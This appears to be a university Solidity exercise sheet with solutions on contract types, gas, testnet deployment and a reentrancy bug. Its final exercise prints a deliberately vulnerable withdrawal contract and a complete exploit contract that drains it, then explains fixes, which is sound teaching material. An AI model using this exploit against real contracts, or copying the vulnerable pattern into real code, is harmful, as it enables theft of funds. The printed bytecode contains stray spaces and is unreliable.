Exercise 7

1. What is the difference between an abstract contract, an interface, and a library in Solidity?

> **Solution:**
> A smart contract with at least one unimplemented function is implicitly an abstract contract. These contracts cannot be compiled to bytecode but must be inherited from to be useful. In an interface, none of the functions can be implemented. Also, interfaces are not allowed to define a constructor, variables, structs, and enums and they cannot inherit from a contract or implement another interface. Contracts that inherit from an abstract contract or implement an interface must implement all unimplemented functions.
> A library is a special contract that is deployed only once at a specific address and whose code can be reused by other contracts. Functions of a library can be executed in the context of the calling contract using the `delegatecall()` function.

2. Are these statements true or false? Give a short explanation.
   (a) Every pure function is a view function.

> **Solution:**
> True. Pure functions are a subset of view functions which don't modify the state but also don't read from the state.

   (b) A transaction that calls a view function does not cost any gas because it does not change state.

> **Solution:**
> False. View functions do consume gas. However, since view functions do not modify the state, it is possible to call them without sending the transaction to the network. For example, they can be executed by a local node or by Etherscan. In that case, no record of the transaction is stored on the blockchain and one does not have to pay for the transaction.

   (c) In Ethereum, a smart contract that has no functions that are declared `payable` cannot receive any Ether.

> **Solution:**
> False. It can receive Ether as result of a coinbase transaction or as a destination of a selfdestruct.

   (d) Solidity's standard `int` and `uint` datatypes can each hold 2^{32} different values.

> **Solution:**
> False. In Solidity, these datatypes are 256 bit long and therefore hold 2^{256} values.

   (e) If `msg.sender == tx.origin`, then this code was called directly by an externally owned account and not by another smart contract.

Solution:
True. `tx.origin` is the externally owned account that issued the transaction and `msg.sender` is the direct caller of the function. If they are equal, the code was called directly by the issuer of the transaction and therefore not by a smart contract.

3. Throughout this exercise, we develop and deploy a Solidity Hello World program on an Ethereum test network.

   (a) What is a test network and why should you use it?

   Solution:
   A test network is a blockchain that runs separately from the main chain but has the same or similar properties as the main network so that it can be used for testing all parts of the system. It is not advisable to directly deploy a smart contract to the mainnet because it can very easily make you lose money if something goes wrong. Therefore, contracts should always be tested locally or on a test network. Ether on test networks does not have any monetary value.

   (b) What are the three largest Ethereum test networks and what are their differences?

   Solution:

   - **Ropsten** is a Proof of Work network with a very low difficulty.
   - **Kovan** uses Proof of Authority meaning that only some approved accounts can create new blocks. The average block time is four seconds.
   - **Rinkeby** also uses Proof of Authority but with a block time of about fifteen seconds.

   (c) Create an Ethereum wallet and get some Ether on the **Ropsten** network from a faucet. Note: you do not need to pay anything for this! Getting Ether on a test network is completely free.

   Solution:
   There are a variety of different wallets for Ethereum. Popular ones are MyCrypto (`https://download.mycrypto.com/`), MyEtherWallet (`https://www.myetherwallet.com/`), and MetaMask (`https://metamask.io/`). After creating a wallet, one possibility to get Ether on Ropsten is to register your account at this faucet: `https://faucet.ropsten.be/`

   (d) Write a Solidity program with a function that returns "Hello, world!". Use a compiler version $\geq$ 0.5.1.

   Solution:

```
pragma solidity ^0.5.1;

contract Hello {
    function hello() public pure returns (string memory) {
        return "Hello, world!";
    }
}
```

   (e) Install the Solidity compiler and compile your program. Turn optimization on. Also generate the application binary interface (ABI). What is the ABI used for?

Solution:

An installation guide for the compiler can be found here: `https://solidity.readthedocs.io/en/v0.5.1/installing-solidity.html#binary-packages`

```
$ solc --optimize --bin --abi hello.sol

======= hello.sol:Hello =======
Binary:
608060405234801561001057600080fd5b5060f98061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060
285760003560e01c806319ff1d2114602d575b600080fd5b603360a5565b604080516020808252835181830152835191928392908
0191850190808383360005b83811015606b578181015183820152602001605556 5b5050505090509081019060 1f1680156097578082
038051600183602003610100 0a031916815260200191505b509250505060405180910390f35b60408051808201909152600b815260
0160aa1b6a1a195b1b1bc815dbdc9b19026020820152905 6fea165627a7a723058209a5b3aa5a808a0926d5de349600b5fa023e27a
c7f644ade39f98887712fddad30029
Contract JSON ABI
[{"constant":true,"inputs":[],"name":"hello","outputs":[{"name":"","type":"string"}],"payable":false,
"stateMutability":"pure","type":"function"}]
```

The ABI can be useful when calling functions of the contract. From the bytecode alone it is not easily apparent what functions the contract provides (though, it is possible to reverse-engineer some of this information). With the ABI, your wallet can show you an UI of all the available functions and their correct parameters.

(f) What is the difference between the `--bin` and `--bin-runtime` compiler options? Which should you use to deploy your contract?

Solution:

The `--bin` option outputs the binary that can be packed into a transaction to deploy the contract on the blockchain. This code executes the constructor and copies the actual smart contract binary to EVM memory. After the execution of the contract-creation transaction finishes, this bytecode in memory is permanently placed on the blockchain.
The `--bin-runtime` option only returns the binary of the contract, how it will actually be placed on the blockchain.

(g) Deploy your program to the Ropsten testnet and issue a transaction to call your function (hint: in order for your wallet to actually send the transaction, you might need to set the `constant` field of the function in the ABI to `false`). View your transaction on Etherscan. Where can you find the output of your function?

Solution:

On the transaction detail page on Etherscan, click on the three dots in the top right and then on "Parity trace". There, you can see the output of the transaction. If you format it as "Text", you see the result of the function: "Hello, world!"

4. In the lecture, you were warned that using `address.call()` is dangerous. In this exercise we will see one reason why. Consider the following vulnerable smart contract:

```
1  pragma solidity ^0.4.24;
2
3  contract Dangerous {
4
5      mapping(address => uint) deposits;
6
7      function depositMoney() public payable {
```

```
8         deposits[msg.sender] += msg.value;
9     }
10
11    function withdraw(uint amount) public {
12        require(deposits[msg.sender] >= amount);
13        if (!msg.sender.call.value(amount)()){
14            revert();
15        }
16        deposits[msg.sender] -= amount;
17    }
18 }
```

(a) Describe the basic functionality of this contract.

Solution:
The contract lets users deposit funds and later withdraw them again. It keeps a record of all accounts that have funds deposited.

(b) What exactly happens in line 13?

Solution:
If a user wants to withdraw their deposits, they call the `withdraw()` function, which initiates a message call to the user in order to transfer the funds. The message call itself is empty (`call()`). For externally owned accounts, there are no functions that can be called anyway. In case a smart contract wants to retrieve its funds, this empty call invokes the contract's fallback function. The call function is annotated with `.value(amount)` which specifies the amount of Wei to transfer with the call. Since the call is not decorated with a `.gas(...)`, all of the remaining gas is forwarded with the call. If for some reason the message call fails, the transaction is reverted.

(c) The contract is vulnerable to a so-called reentrancy attack. Describe the problem.

Solution:
The contract transfers funds in an unsafe way. If a malicious smart contract has deposited some funds in the vulnerable contract, it can withdraw its funds and thereby cause its fallback function to be invoked with all the remaining gas. The vulnerable contract has no control over what happens in that fallback function. It could for example call the `withdraw()` function again and retrieve more Ether than it had originally deposited. This works because the `deposits` variable is only updated after the funds are transferred. The `withdraw()` function can be called recursively until the vulnerable contract does not hold Ether anymore and then abort.

(d) Assume that the contract holds some funds. Write a smart contract that exploits the vulnerability and transfers all Ether from the contract to your own account.

Solution:

```
pragma solidity ^0.4.24;

contract Dangerous {
    mapping(address => uint) deposits;
    function depositMoney() public payable;
    function withdraw(uint amount) public;
}

contract Exploit {
    Dangerous d;
    uint public deposited;

    constructor(address _d) public {
        d = Dangerous(_d);
    }

    function attack() public payable {
        require(msg.value > 0);

        d.depositMoney.value(msg.value)();
        deposited = msg.value;
        d.withdraw(deposited);
        msg.sender.transfer(address(this).balance);
        // If you remove the line above, you are able to call
        // ContractBalance() and see that the Exploit contract holds the stolen funds
    }

    function () public payable {
        if(address(d).balance >= deposited){
            d.withdraw(deposited);
        }
    }

    function ContractBalance() public view returns(uint256) {
        return this.balance;
    }
}
```

(e) How could this attack be prevented?

Solution:
The attack can be prevented by limiting the amount of gas transferred with the message call. One way of doing this is to use `msg.sender.transfer(amount)`, which only forwards 2300 gas. Additionally, if the amount is reduced before the call, the bug could also be fixed. However, it is always advisable to forward only as little Gas as it is usually required.